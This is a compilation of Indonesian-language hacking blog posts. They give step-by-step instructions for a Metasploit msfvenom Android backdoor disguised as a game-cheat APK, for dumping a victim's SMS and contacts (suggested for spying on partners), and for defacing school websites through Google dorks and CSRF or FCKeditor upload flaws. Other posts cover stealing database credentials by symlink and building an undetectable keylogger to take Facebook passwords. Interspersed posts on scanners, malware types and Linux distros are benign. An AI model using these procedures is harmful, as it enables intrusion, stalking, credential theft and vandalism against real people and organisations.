Hacking Android Berbeda Jaringan Menggunakan Metamosploit Di Kali linux

ASSALLAMUALLAIKUM WR WB

Selamat Pagi kawan
Gw mau ucapin Selamat hari natal dan tahun baru bagi yang merayakannya :)
Semoga di tahun 2016 nanti kita menjadi orang yang lebih baik lagi
buka lembaran baru hapus semua cache kejelekan dan keburukan :)

Oke gw masih membahas Metasploit
tapi kali ini agak sedikit berbeda kawan
disini gw mau memberikan sedikit tutorial yang nggak penting banget :v
yaitu cara hack android menggunakan metasploit yang berbeda jaringan (SPY)
tentu saja harus beda jaringan karena jaringan handphone kebanyakan menggunakan data selular
Oke langsung saja

WARNING : CARA INI ILEGAL DAN BERBAHAYA UNTUK PRIVASI ORANG LAIN..!!!

UNTUK COPYERS BANGSAT SERTAKAN LINK SUMBER JIKA ANDA INGIN REPOST BLOG GW...!!!!


Setting port forward anda pada gateway
save & quit

contoh ini adalah gateway gw

pertama-tama buat dulu file backdoornya

buka terminal anda dan masukan perintah berikut

msfvenom -p android/meterpreter/reverse_tcp LHOST=180.252.XXX.XXX LPORT=7777 R> GemsCheater.apk

Note : 180.252.xxx.xxx adalah ip publik gw , jadi gunakan ip publik anda sendiri

7777 port gw, anda bisa menggantinya sampai 65000

GemsCheater adalah nama backdoor gw yang nanti akan di outputkan di file home dan apk adalah extensi khusus buat android

buka metasploit

msfconsole

use multi/handler

set LHOST 192.168.1.64

set LPORT 7777

exploit

Note : 192.168.1.64 adalah ip lokal gw
7777 adalah port yang gw sesuaikan pada backdoor yang di buat sebelumnya

kirim backdoor bisa melalui bbm juga loh.... :D
jika sudah di eksekusi oleh korban
maka meterpreter akan terlihat

masukan perintah

sysinfo

fungsinya untuk melihat informasi android korban

masukan perintah

help

untuk melihat options yang ingin anda gunakan

dan disini gw penasaran pada sms dan contact korban
jadi gw dumping smua kontak dan sms

dengan perintah

dump_contacts

dan smsnya

dump_sms

sebenernya gw mau nyalain camera, kirim sms melalui hp korban dll tapi sehubung batrai laptop gw udah sekarat jadi gw batalin

Cara ini bisa anda gunakan pada pasangan anda , jadi anda bisa memastikan dia selingkuh atau tidak :v
wkwkwkwkwkwk

SEKIAN DARI GW

JANGAN DISALAH GUNAKAN

KAMI TIDAK BERTANGGUNG JAWAB ATAS APA YANG ANDA LAKUKAN

INI HANYA PEMBELAJARAN SEMATA

HACKING NOT CRIMINAL
HACKING IS ART

"the quieter you become , the more you are able to hear"

sc:http://rextor404.blogspot.co.id

Deface Website Sekolah Dengan Motede CSRF Balitbang

Selamat malam sobat , kali ini saya mau share tutorial Deface dengan CSRF Balitbang, ok langsung saja ;)

Bahan - Bahan :

- CSRF :  Script CSRF Balitbang ( Copy, lalu paste dinotepad, dan save dengan extensi file ' .html ' / ' .htm ' 
- Email yang masih aktif
- Wajah ganteng :p

 Langkah - Langkah :

 1. Pertama-tama kita cari dulu targetnya di google, dengan dork berikut :

inurl:/member/daftar.php

2. Setelah menemukan targetnya, kita klik target tersebut, dan masukin exploit berikut :
/member/daftar.php
Contoh : http://site.sch.id/member/daftar.php

3. Maka tampilannya akan seperti ini :

 4. Lalu isikan kotak yang kosong itu, dan klik Daftar / Simpan
5. Setelah kita klik Daftar / Simpan, maka tampilannya akan seperti ini :

6. Setelah itu kita buka email kita ( email yang tadi buat daftar jadi member )
7. Lalu lihat di Kotak Masuk / di SPAM, lalu kita klik Validasi Member

8. Setelah kita mengklik Validasi Member, maka tampilannya akan seperti ini : 

9. Lalu klik Lanjutkan, dan masukan Username dan Passwordnya ;)
10. Setelah kita masuk, lalu buka CSRFnya ( Untuk upload shell )
11. Copy ( Web Depan / Web Sekolahnya ) dan paste webnya ke CSRF, Lihat gambar : 

12. Setelah itu, kita save dan buka CSRFnya, maka tampilannya akan seperti ini :

13. Setelah itu, tinggal pasang shell backdoor kalian dan klik Upload :D ( Jika tidak punya shell backdoor, sebaiknya cari dulu di google, dan download :p )
14. Setelah kita klik Upload, maka akan ada bacaan seperti ini
'  Anda tidak diperkenankan mengakses fasilitas ini.
Silahkan daftar menjadi member dan login terlebih dahulu. '  itu tandanya kita berhasil memasang shell ^_^
15. Tempat akses shellnya : /materi/file.php ( ingat, walaupun shell yang kalian upload tadi bernama ganteng.php atau apalah yang sering kalian pake, maka setelah kita meng uploadnya, itu akan berubah menjadi file.php ) tetapi jika kita buka /materi/file.php malah 404 Not Found / 500 Internal Server / 403 Forbidden, saya sarankan kalian mencari target lain :p

contoh : http://site.sch.id/materi/file.php
16. Setelah shell kalian kebuka, kalian bebas deh mau ngapain aja :D tapi saya saranin sih jangan tebas indexnya :D cukup nitip file saja :D

 Ok sekian dan selamat belajar ;) :p

Cara Deface Website Dengan Com_Fabrik

Bisa di bilang Tutorial kali ini tutorial paling gampang karena tahap dan stepnya sangat mudah di pahami oleh 

para pemula seperti saya. ok deface / Mengganti tampilan website sering di lakukan oleh para Hacker yang 

sengaja deface web seseorang karena web tersebut memiliki Celah. kali ini kita akan bahas COM_Fabrik sudah 

dari namanya COM_Fabrik Berarti website website yang menuju ke Pabrik Deface ini  bisa di deface dengan 

index.php atau juga dengan media/index.html [ jika telah di patch oleh admin ]. 

Bahan : 

Shell Backdoor 
Laptop / PC
Koneksi Internet
Jomblo
Memiliki Kepercayaan
DWYOR ( Resiko di tanggung pengguna )

Mari Kita simak bareng- bareng biar ilmu saya tidak menipis hihi

1. Ketik dork berikut ke google : inurl:index.php?option=com_fabrik
2. Akan ada banyak web, anda buka terserah yang mana
 

3. Masukkan exploit ini : index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
Contoh : www.site.com/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

4. Jika tidak berhasil cari target lain. Jika berhasil akan muncul form upload seperti ini
 

5. Klik "pilih file" untuk memilih shell, dan klik "Import CSV untuk mengupload
 

6. Jika berhasil, buka shell anda dengan format www.site.com/media/namashell.php
 

7. Dan muncullah shell kesayangan anda. Namun jika tidak muncul, itu karena web tersebut tidak mendukung file berformat php maupun html.
 

Sekian ilmu yang dapat saya berikan.
 
Selamat mencoba ^_^

Maaf Ga bisa Menampilkan Contoh Karena Com_Fabrik Saya bosan Saya berpindah yang lebih menantang seperti Website Negara 

Source : My Blog

Cara Hack Akun Facebook Dengan Mudah Dalam Beberapa Cara

Kali ini saya akan tunjukan Artikel yang sangat di takuti oleh para pengguna socmed facebook yaitu cara hack / meretas akun facebook orang lain  memang ilmu ini sudah usang tapi kita harus tetap melestarikan agar mereka-meraka yang pemula bisa belajar hacking dengan sempurna. facebook memang sosial media yang  sangat banyak sekali penggunanya sudah di lihat dari rank alexanya saja saya sendiri heran kok bisa sih facebook rank alexanya segitu . Sedemikian banyak pemakainya sehingga merupakan target utama pembajak atau umum disebut hacker. Banyak cara untuk untuk membajak atau mengambil alih akun seseorang. saya menghadirkan beberapa Trick sulap Ala Mastah mastah saya dahulu mari kita simak.
 

1. Facebook Phishing / Fake Login

Phishing / Fake Login adalah cara yang paling popular untuk mendapatkan data login facebook seseorang. Ada beberapa serangan Phishing, yang paling sederhana adalah hacker membuat halaman untuk login facebook palsu yang penampilannya dibuat mirip dengan yang aslinya. Melalui halaman palsu itu korban akan memasukan “E-mail Address” dan “Password” yang tercatat dalam file txt . Data ini kemudian diambil oleh hacker untuk masuk ke halaman facebook korban dan mengganti 
passwordnya dengan yang baru.

2. Keylogging

Keylogging menggunakan sebuah program kecil yang diinstall di komputer korban. Progam ini akan mencatat semua yang diketik korban di komputernya, termasuk data login facebooknya. Catatan (log) tersebut dikirim balik ke penyerang melalui jalur FTP atau lewat e-mail hackers.

3. Stealers

Hampir 80% orang menggunakan password yang disimpan di browser untuk memudahkan login facebook. Ini memang memudahkan tetapi dapat berbahaya. Stealer adalah software yang dirancang untuk mengambil password yang tersimpan di browser korban.
 

4. Session Hijacking

Session Hijacking sangat efektif jika Anda akses facebook dengan koneksi standar (http://... ). Cara ini adalah dengan mencuri cookie browser korban yang digunakan untuk autentikasi pengguna pada suatu situs. Session Hijacking banyak digunakan pada jaringan local (LAN).

5. Sidejacking with Firesheep

Sidejacking adalah nama lain untuk http session hijacking yang dikhususkan untuk pengguna wifi. Untuk melakukan serangan Sidejacking, hacker banyak menggunakan software Firesheep. Tetapi Firesheep hanya bekerja jika penyerang dan korban berada dalam satu jaringan wifi yang sama.

6. Mobile Phone Hacking
Jutaan orang login facebook dari telpon bergeraknya (HP). Jika hacker bisa mengakses HP korban, kemungkinan besar para hacker ini dapat mengkases akun korbannya. Bisa juga menggunakan software untuk memonitor HP seperti “Mobile Spy” dan “Spy Phone Gold”.

7. DNS Spoofing
Jika penyerang dan korban berada dalam satu jaringan komputer, penyerang dapat menggunakan DNS spoofing atau pengalihan dari halaman facebook yang asli ke yang palsu milik hacker.

8. USB Hacking
Ini digunakan jika penyerang memiliki akses fisik ke komputer korban. Hacker akan memasukan peralatan USB yang sudah diprogram untuk secara otomatis mengambil password yang disimpan di browser.

9. Man In the Middle Attacks
Ini bisa terjadi jika korban dan hacker berada dalam satu jaringan lokal dan berbasis switch. Hacker akan menempatkan dirinya berada diantara korban dan server atau bertindak sebagai gateway sehingga bisa menangkap semua data yang lewat. Cara ini juga disebut dengan ARP Poisoning.

10. Botnet

Botnet sebetulnya tidak umum digunakan untuk membajak login facebook, karena biaya yang tinggi. Ini digunakan untuk serangan lebih canggih. Pada dasarnya ini merupakan kerjasama antara beberapa komputer. Proses infeksinya sama dengan keylogging. Botnet yang populer adalah "Spyeye" dan "Zeus".

 

Sudah artikel saya kali ini semoga bermanfaat jangan di buat ngejaili temen sendiri yak kasian nanti hihi

Source : My BLog + Zolt Cyber Blog

Audit Website Menggunakan Acunetix Web Vulnerability Scanner

keamaan web memang sangat penting untuk menjamin kelangsungan website kita agar tetap online dan banyak di kunjungi oleh orang lain, namun tidak menutup kemungkinan website anda akan di susupi hacker atau orang-orang iseng alias lamer yang hanya sekedar test ilmu atau memang bermaksud jahat dengan cara-cara dan tingkat kemampuan yang mereka miliki.
Nah itulah sebabnya keamanan website kita sangat penting di perhatikan agar terhindar dari serangan atau deface untuk kebaikan kita.
banyak cara yang dapat kita lakukan untuk audit website kita jika kita memang tidak punya basic ke ilmuan untuk mengamankan secara manual.

salah satunya dapat kita lakukan menggunakan software yang akan kita bahas pada session ini yaitu menggunakan acunetix Web Vulnerability Scanner.
software ini dapat kita coba offline maupun online, pada kesempatan kali ini kita akan coba pada posisi offline karena software ini sangat mudah di gunakan untuk kita yang awam dengan testing security web.

1. pertama anda dapat mendowload softwarenya di sini dan ini adalah versi portable:
[B]Acunetix Web Vulnerability Scanner[/B]
http://www.fileserve.com/file/3HVnzhQ
2. selanjutnya anda jalankan software acunetix ini kemudian klik File ==>> New

3. klik webscanner

4. Masukkan URL atau alamat web yang akan anda scan di kolom Start URL

5. Pilih paket profile yang ingin anda jalankan pada kolom profile, sebaiknya anda pilih default saja karena semua paket akan di jalankan
6. kemudian klik start di sebelah kanan kolom profile untuk menjalankan scanner.
7. saya coba testing scan website joomla dengan profile blind_injection di localhost saya dengan path [url]http://www.localhost/joomlax/[/url]
berikut skrinsut hasilnya:

pada lingkaran bulat sebelah kiri menunjukkan hasil scan terhadap website joomla, sedangkan pada lingkaran sebelah kanan menunjukkan informasi scan dan tingkat vulnerability (kerapuhan) website yang di temukan hasil scan software ini.
8. pada testing blind_injection di temukan 2 notifikasi yang menyatakan ada bagian yang cukup berbahaya/vulnerable (lihat bagian lingkaran sebelah kiri) , anda tinggal arahkan kursor anda kebagian tersebut. secara otomatis di bagian sebelah kanan (lingkaran sebelah kanan) terdapat penjelasan deskripsi dari vulnerable itu dan cara menangani nya yang sudah di persiapkan oleh tim acunetix.

demikian lah tutorial singkat dan simpel audit website menggunakan acunetix software ini dan silahkan anda otak atik sendiri sesuai kreatifitas anda. Jangan Lupa Cek Post ini !!!

Website Untuk belajar Linux dan Unix

Distro Linux Untuk Hacking 

Perbedaan Virus Malware Trojan Dan Worm
 
 
Source Dari blog Saya sendiri :D blog saya banyak banget sebenernya

Perbedaan Virus, Malware,Trojan, dan Worm

Kali Ini saya akan Bahas tentang perbedaan Virus , Malware , Trojan dan Worm. Kalian tau kah bahwa System Linux Dan Windows Berbeda sedikit OOT agar kalian paham.  Jadi Linux mungkin memang tidak 100% aman, namun berbeda dengan windows yang virus bisa menyerang dari segala arah, virus yang menginfeksi Linux hanya sampai di software / aplikasi yang memang ada bug. Bandingkan dengan Windows, saat virus menyerang system32 . Apa sih yang membuat Windows lebih rentan virus ?

Saat kalian menginstall Windows, saat login kalian langsung diberi hak administrator. Sehingga kalian diberi kebebasan untuk mengotak atik sistem nya. Saat virus berhasil masuk. udah dah dapet akses dah Virusnya.

Lalu Bagaimana Dengan Linux ? Saat kalian login user, kalian belum bisa untuk mengotak atik file sistem. Bahkan untuk sekedar meng copy file ke folder /root pun kalian tidak akan bisa. Kalian membutuhkan perintah sudo (switch user and do) atau autentifikasi ganda. bayangkan jika "seandainya" Virus Masuk mereka tidak bisa berbuat apa karena mereka tidak mempunya akses kemana-mana jadi tapi saya ga ngomong Linux 100% Aman dari virus Karena No System Is safe. Ok Back Topic kali ini saya bedakan menjadi 4.

1. Malware (Malicious Software)

 

Malware adalah sebuah software atau kode yang diciptakan oleh seseorang dengan tujuan jahat. Sebenarnya Malware itu adalah sebuah software atau program komputer, namun Malware dibuat dengan tujuan untuk merugikan orang lain. Malware dapat mengubah data (menghapus, menyembunyikan, dan mencuri), menghabiskan bandwith dan juga sumber daya lain tanpa seijin pemilik komputer yang tentunya akan merugikan orang lain.

2. Virus Komputer

Yang kita bahas disini virus pada komputer loh ya, bukan virus flu burung.
Virus komputer adalah Malware yang menginfeksi sebuah komputer dengan bantuan pihak ketiga untuk mengaktifkan/ menjalankan dirinya – biasanya pemilik komputer itu sendiri. Virus tidak bisa otomatis mengaktifkan dirinya sendiri dan menginfeksi sebuah komputer tapi harus ada tindakan dari pihak ketiga yaitu pengguna komputer. Biasanya virus dibuat seperti program lain yang sering digunakan oleh pemilik komputer sehingga pemilik komputer itu mau mengaktifkan virus tersebut. Beberapa program komputer yang sering ditiru oleh virus adalah program .JPG, .doc, atau folder yang yang bila diklik akan mengaktifkan si virus.

Untuk lebih meyakinkan pengguna komputer, seringkali pencipta sebuah virus memalsukan virusnya dalam bentuk icon atau ekstensi gambar porno, atau bentuk lain yang dapat menarik perhatian si pemilik komputer untuk melakukan klik sehingga mengaktifkan virus tersebut.

 

3. Worm Komputer

Worm merupakan program yang sejenis dengan virus dan memiliki tujuan yang sama yaitu untuk menginfeksi system computer. Akan tetapi arti dan cara kerjanya sudah berbeda dengan virus. Worm dapat diartikan sebagai program malware yang menginfeksi computer user dengan cara secara otomatis bekerja sendiri tanpa harus ada user yang menjalankannya, dan setelah worm itu telah masuk kesistem computer, maka dia akan dengan mudah masuk kedalam computer yang lain yang terhubung dengan computer yang terkena worm tersebut.

4. Trojan

Trojan biasanya disisipkan dalam crack / patch game bajakan, atau juga aplikasi dengan modus keyloger. Cara kerjanya, trojan akan merekam semua ketikan di keyboard kalian, dan mengirim nya ke email / server si pembuat trojan tersebut.  Trojan biasanya digunakan untuk aksi spying.

Ada banyak cara yang dilakukan untuk menangkis virus, malware, trojan serta worm. Memakai antivirus, menghidupkan firewall , mengupdate OS dll.

Namun jika kalian adalah pengguna Linux, kalian sudah selangkah lebih maju dalam menghadapi ancaman ancaman diatas.

98% virus tidak akan bekerja di Linux.

 

Terimakasih Telah View Artikel Saya kali ini dan tetap kunjungi Blog saya jangan Lupa dengan Artikel Ini

Hacking Post 

Macam Macam Website untuk belajar Linux dan Unix

Distro Linux For Hacking 

Source:  http://www.linuxsec.org/

 

Macam Macam Website Unggul Untuk Belajar Linux Dan Unix

Linux adalah OS favorit saya untuk melakukan hacking walaupun saya juga menggunakan windows tapi saya memanfaatkan VMWARE sebagai virtual PC tapi kali ini kita akan membahas Website website terbaik untuk belajar tentang Linux. Linux merupakan sistem operasi yang paling banyak digunakan oleh server website di internet. Sebagian besar menggunakan Linux, sebagian lagi windows namun system keamanan windows tidak sekuat keamanan linux maka dari itu harga hosting linux dan windows sangat berbeda
Linux bisa dibilang sistem operasi untuk para geek, sistem operasi untuk system administrator, dan biasanya yang expert di bidang jaringan sangat erat dengan sistem operasi ini.
Jadi jika anda sedang belajar untuk meraih mimpi anda menjadi seorang geek, system administrator maka anda harus membiasakan diri dengan sistem operasi Linux.

Berikut ini ada beberapa website top yang bisa anda manfaatkan untuk belajar berbagai hal tentang linux.

1. Learn About Linux

Tutorial Linux ini langsung dari website linux.com, website ini tentu saja menyajikan tutorial yang cukup banyak dan tentunya berguna untuk anda yang ingin belajar linux, selain tutorial disini juga ada blog yang memberikan informasi terbaru seputar sistem operasi berlogo penguin ini.

2. New to Linux programming and Linux system administration

Tutorial ini diberikan langsung oleh IBM untuk anda yang ingin menguasai sistem operasi Linux, Website ini bisa menjadi titik awal bagi anda untuk belajar bagaimana menggunakan program Linux dan mengelola sistem Linux.
Situs ini membahas segala hal tentang linux, bahkan dari hal-hal mendasar seperti “Mengapa Linux (Why Linux?)” dan Unix, atau Apa yang dapat anda lakukan dengan linux.

3. University of Surrey:

Ini adalah resource gratis dari sebuah universitas di Inggris untuk anda yang ingin belajar Linux. Sebuah tutorial yang bagus dan cukup lengkap untuk pemula. Tutorial ini dimulai dengan pengenalan Sistem Operasi, lalu menyajikan tutorial dasar linux dan selanjutnya mencakup semua yang ingin anda ketahui tentang Linux dan Unix.

4. Norm Matloff’s Unix and Linux Tutorial Center

Norm Matloff adalah seorang profesor Ilmu Komputer, telah menciptakan banyak sekali tutorial gratis seputar Linux dan Unix untuk pelajar. Dia menyediakan presentasi untuk membimbing pemula, seperti bantuan menginstal Linux pada mesin anda serta beberapa Informasi yang lebih lanjut tentang Linux.

5. Linux Security for Beginners:

Sebuah Courseware gratis dari Linuxtopia dapat membantu pemula untuk memahami keamanan linux. Pembelajaran di website ini di khususkan untuk memahami segala hal termasuk firewall, keamanan wireless, dan banyak lagi. Ini adalah resource yang berguna jika anda tertarik untuk belajar bagaimana menggunakan Linux dengan aman.

6. How To Forge Linux Tutorial

Website ini mendedikasikan semua tulisannya untuk membahas tentang linux, jadi hampir semua tulisan di website ini berhubungan dengan Linux, anda bisa belajar tentang berbagai pembahasan pada distro linux tertentu, atau tips dan tutorial lain yang berguna untuk anda yang ingin belajar linux maupun untuk anda yang sudah paham linux namun ingin terus menambah pengetahuan.

Makasih sudah membaca Artikel saya kali ini maaf jika saya hanya membagikan 6 buah website saja saya juga sama seperti kalian saya perlu belajar dan belajar untuk menjadi orang yang lebih baik. ok tetap kunjungi blog saya jangan lupa mampir di artikel Macam Distro Linux For Hacking

source : www.jurnalweb.com

Beberapa Distro Linux For Hacking

Bila bicara soal Linux,saya termasuk pengguna linux untuk hacking namun saya white hat. orang biasanya langsung akan tertuju pada distro linux yang banyak dipasaran seperti Ubuntu atau Debian. Tidak ada salahnya menggunakan distro tersebut karena memang distro tersebut mimiliki kemampuan dan tampilan yang sangat bagus.
Namun jika bicara tentang hacker dan keamanan komputer, biasanya bukan distro tersebut yang digunakan, melaikan distro-distro lain yang mempunyai tool hacking lebih komplit.

 

Berikut adalah 10 Distro Linux yang digunakan hacker.

1. Kali Linux
Ini meruapakan distro linux Revolusi Dari Backtrack yang paling disukai para hacker karena memang linux ini ditujukan untuk para hacker dan banyak tool untuk melakukan pentest (penetration testing). Distro ini berbasiskan sistem operasi Ubuntu.

2. Nodezero
Nodezero adalah contoh lain dari sistem operasi untuk hacking yang berbasiskan Ubuntu, digunakan untuk pengujian penetrasi, setiap kali anda mendapatkan update untuk ubuntu, maka Nodezero juga mendapatkan.
– Baca juga: 10 Software Linux Terbaik Sepanjang Masa

3. BackBox Linux
Ini adalah distro lain yang berbasiskan Ubuntu yang digunakan untuk keperluan hacking. Menurut para pengembang, OS ini dibuat untuk pengujian penetrasi agar lebih mudah dilakukan. Update tool-tool hacking juga didapatkan dari repositori nya.

4. Blackbuntu
Ubuntu memang bukan distro untuk keperluan hacking, namun banyak sekali linux yang berbasiskan Ubuntu yang digunakan untuk Hacking. Linux ini hadir dengan fitur seperti pemetaan jaringan, pengumpulan informasi, penetrasi, mengidentifikasi lubang keamanan yang rentan, eskalasi hak akses, analisis jaringan radio, analisis VoIP, dan masih banyak lagi.

5. Samurai Web Testing Framework
Distro ini berfokus pada tool untuk melakukan penyerangan pada situs website menggunakan aplikasi gratis terbaik dan oper source. Para pengembangnya telah menyertakan empat langkah kedalam distribusi yaitu pengintaian, including, pemetaan atau mapping, serta ekploitasi.

6. Knoppix STD
Setalah sebelumnya banyak bicara distro berbasis ubuntu, maka untuk yang kali ini adalah distro berbasis Debian yang menjalankan GNOME, KDE, LXDE dan lingkungan dekstop Openbox
7. Pentoo
Distro yang bisa dijalankan dengan live CD ini dibuat untuk pengujian keamanan dan didasarkan pada Gentoo. Distro linux ini disertai dengan tool untuk hacking seperti Backported WiFi stack, XFCE4 dan lain sebagainya.

8. Weakerthan
Distribusi linux ini menggunakan lingkungan desktop dari Flufbox dan sangat cocok untuk WiFi hacking karena linux ini dilengkapi dengan banyak sekali alat wireless nya. Distro ini berbasis Debian-Squeeze yang memiliki tool seperti WiFi attacks, Cisco exploitation, SQL Injection, Web Hacking, Bluetoots dan lain sebagainya.

9. Matriux Kryptoon
Setelah Weakerthan, ini mungkin distribusi pertama yang berbasiskan OS Debian. Dan distro linux ini berisi gudang dengan 300 amunisi berupa alat keamanan dan baik untuk etika hacking, pengujian penetrasi, pengujian keamanan, sistem dan admin jaringan, investigasi forensik secara maya

10. DEFT
OS ini berbasiskan pada Kernel Linux 3 bersama dengan Digital Advanced Response Toolkit.
Jika anda yang kurang menurut anda, maka anda bisa menuliskan tambahannya di bagian komentar.

Makasih Telah membaca artikel saya ini semmoga artikel saya kali ini bermanfaat Namun jangan Di gunakan untuk Hal2 yang Negatif.tapi itu terserah kepribadian Masing Masing Kunjung Lagi ya

Via www.concise-courses.com

Deface Web Sekolah / sch.id dengan FCKeditor

Kita akan membicarakan soal deface lagi. Web sch.id merupakan web sekolahan milik Indonesia. Dengan menggunakan FCKeditor, kita bisa mengupload sebuah file ke web tersebut seperti halnya mengupload file deface, namun berformat txt. Ok, berikut caranya.



1. Buatlah sebuah file berformat txt dengan notepad, isi dengan kata - kata yang ingin diucapkan layaknya file deface, jangan lupa di save dan beri nama

2. Di pencarian google, masukkan dork berikut :
inurl:/html/siswa.php?
inurl:/html/alumni.php?
inurl:/html/guru.php?

3. Nanti bakalan muncul beberapa situs sekolahan, anda pilih salah satu untuk di eksekusi

4. Silahkan anda masukkan exploit ini /editor/filemanager/connectors/test.html
Contoh: www.site.com/editor/filemanager/connectors/test.html

5. Nanti akan terlihat seperti ini

Sesuai gambar, di kolom connector silahkan anda ganti dengan PHP. Resource type file

6. Klik "pilih file" dan pilih file txt yang sudah dibuat tadi

7. Klik "upload"

8. Jika berhasil akan muncul tulisan kira - kira seperti ini 'file uploaded with no error'

9. Untuk melihat file uploadnya, anda buka webnya dengan www.site.com/userfiles/file/namafilemu.txt

10. Jika berhasil maka nanti akan muncul text yang tadi anda buat di notepad.
Contoh: http://www.smkn1kuta.sch.id/userfiles/file/YDS.txt

Selesai, kini anda berhasil mendeface web tersebut, meski bukan pada indexnya

Tutorial Hacking Webtools Dengan Metode Symlink

 Tutorial kali ini agak melenceng dan aneh mungkin di kalangan orang biasa tapi di kalangan anak IT yang berbisnis Webtools ini adalah ancaman Hihi :) Ok kali ini kita akan bahas Hack Webtools Dengan Metode Yang di buat Oleh Team saya ( Team saya di rahasiakan karena takut di culik )

Bahan Dan Syarat :
1. Target Webtools  ( Wajib )
2.Cpanel Yang bisa di Symlink ( Wajib )
3. Shel Injection ( Wajib )
4.Kopi (  Gak Wajib )
5.Kesabaran Dalam Bekerja (  Gak Wajib )


1. sobat harus mempunyai hostingan cpanel yang bisa di symlink..

2. jika sudah punya buka cpanel..

3. upload shell..

4. buka shell nya ( saya rasa semua dah tau no 1 - 3 caranya jadi langsung aja )

screenshoot :

5. klik symlink dan pilih auto symlink..

screenshoot :

6. setelah itu pilih salah 1 domain yang bisa di symlink dengan cara mengklik domain tersebut, jika masuk ke sebuat webtools berarti bisa di symlink.. kemudian klik symlink.

screenshoot :

7. nanti akan muncul script tool tersebut + jika beruntung kita bisa ambil script tersebut.. ( klik koneksi atau dbconfig untuk melihat mysql database mereka..

screenshoot :

8. nanti akan muncul user + pw + name database mereka

screenshoot :

9. sekarang kita dah tau user + pw + name database mereka.. ( jangan di tutup tab nya karna kita akan mengcopy database tersebut )

10. kembali ke shell dan pilih Mysql dan masukan database yang tadi dan klik connect..

screenshoot : 

11. sekarang kita dah masuk ke phpmyadmin , klik user kemudian insert , isi data data nya di kolom tersebut seperti nama ,fb id , password , dll dan klik confirm ( pasti dah tau caranya )

screenshoot : 

12. setelah klik confirm nanti akan muncul gambar seperti di bawah,, klik aja yes..

screenshoot :

13. sekarang kita dah terdaftar di tools tersebut , kalau gk percaya buka aja..

screenshoot :

14. gak semua hostingan bisa di hack gan jadi cari hostingan yang security nya rendah,,

Jika kalian tidak pahal tutorial di atas harap Contact facebook saya fb.com/iyungrozy

dengan cara Add dulu baru PM karena jika tidak di add Chat tidak akan masuk di mesage box saya

Sekian terimakasih telah berkunjung

Tutorial Hacking Facebook Dengan Beberapa Cara Dengan Mudah

Dalam Artikel kali ini saya akan berbagi tutorial yang mengerikan dan bermanfaat yaitu Hacking Facebook di sini saya terdapat 4 Cara , di mana saya telah membahas metode terbaik kedua untuk hack password Facebook menggunakan Keylogger . Hari ini saya akan menjelaskan cara hack password Facebook menggunakan keylogger..

hari ini saya akan menjelaskan secara rinci dengan snapshot cara membuat Anda hacker keylogger Facebook , yang 100 % Fully keylogger tidak terdeteksi Anda dapat memeriksa berkas ini dengan jumlah Virus . Dengan 100 % FUD keylogger terpencil dengan beberapa fitur canggih .
Hari ini saya akan mengungkapkan kepada Anda bagaimana saya hack 19000 + rekening , yang begitu mudah sehingga siapa pun bisa melakukannya . Di website saya, Anda tidak akan pernah mendapatkan alat yang terinfeksi . Jika Anda memiliki keraguan atau merasakan sesuatu yang mencurigakan selalu menguji link atau file dengan jumlah situs virus sebelum men-download . Jangan pernah percaya setiap situs web termasuk saya juga , selalu memindai link download virus jumlah situs web atau situs tersebut sebelum men-download itu . Download itu hanya ketika itu tidak memiliki virus apapun .

Hack sandi Facebook menggunakan keylogger Melibatkan langkah-langkah berikut :
1 . Buat Server yang akan hack password .
2 . Ekstrak Ikon dari perangkat lunak apapun
3 . Mengikat keylogger untuk membuatnya Tersembunyi
4 . Sebarkan keylogger Anda untuk korban

Catatan : Tutorial ini adalah untuk Tujuan Pendidikan saja. Aku dan Hackingloops tidak bertanggung jawab atas penyalahgunaan pengetahuan.

Mari kita mulai Facebook hack tutorial secara rinci :

Langkah 1 : Buat Server untuk Sandi Hacking
Pertama-tama untuk melakukan hacking password account facebook , kita harus membuat server keylogger kami yang akan berjalan pada mesin korban atau PC dan menangkap keystrokes dan mail kami pada account email yang akan kita gunakan untuk membangun keylogger . Keylogger proses pembangunan server yang terdiri dari beberapa langkah .
Langkah-langkah yang terlibat yang disebutkan di bawah secara rinci :
1 . Pertama-tama men-download keylogger .
Ambil Keylogger dari sini: KLIK DI SINI UNTUK DOWNLOAD
DOWNLOAD BINDER SINI : KLIK DI SINI UNTUK DOWNLOAD BINDER2 . Ekstrak file RAR . Sekarang Anda akan mendapatkan satu folder dan tiga file seperti yang ditunjukkan pada snapshot di bawah ini :

cara hack akun facebook dan password menggunakan keyloggers
Snapshot File Ekstrak
 3 . Sekarang buka file keylogger . Di sini Anda akan memerlukan ID gmail dan password. Untuk penggunaan yang lebih aman membuat akun Gmail palsu dan menggunakannya di sini seperti yang ditunjukkan di bawah ini :

belajar cara hack password facebook
Hacker Facebook Langkah Awal
4 . Sekarang Klik pada pengaturan server seperti yang ditunjukkan . Berikut masukkan waktu setelah itu Anda ingin menerima laporan , selalu lebih baik untuk menggunakan waktu 20 menit untuk menerima file . Dan Klik pada kotak output untuk memilih lokasi file dan berikan nama apapun . Yang selalu dianjurkan untuk menggunakan nama proses sistem untuk membuatnya tidak terdeteksi seperti svchost atau memeriksa setiap nama proses dari task manager Anda dan nama itu . Bidang lainnya adalah opsional . Lengkap snapshot ditunjukkan di bawah ini :

hack password facebook
Langkah kedua untuk memilih interval waktu dan nama file output
5 . Sekarang Klik Log dan Pengaturan Hasil . Login EMail Judul masukkan subjek email seperti My laporan keylogger atau hanya laporan saya atau sesuatu yang lain yang Anda sukai. Juga Klik dua pilihan terakhir yang yaitu menambahkan nama Komputer dan menambahkan nama korban . Snapshot ditampilkan di bawah ini :

hack akun facebook
Hack password account Facebook menggunakan keylogger
6 . Sekarang Klik Opsi lainnya . Pada bagian ini Anda hanya perlu melakukan satu hal . Kebanyakan hacker lebih memilih peringatan pesan POP up tapi aku cinta keylogger menggunakan pesan apapun . Jadi tombol pesan unclick . Karena ketika Anda mengikat dengan perangkat lunak lainnya maka seharusnya tidak pesan peringatan jika tidak maka akan terdeteksi .

7 . Sekarang di klik terakhir pada Build keylogger . Sekarang setelah Anda klik, Anda akan melihat keylogger file Anda di lokasi yang Anda pilih pada langkah 4. Sekarang ini file server keylogger akan digunakan untuk mengikat dengan perangkat lunak lainnya pada Langkah Binding .

8 . Sekarang server Anda keylogger siap yang akan Anda gunakan untuk hack akun Facebook . Itu semua untuk langkah pembuatan server yang sekarang pindah ke langkah utama kedua.

Langkah 2 : . Ekstrak file Icon dari installer apapun ( hacker sumber daya )
1 . Buka folder Resource hacker dan buka file ResHacker .
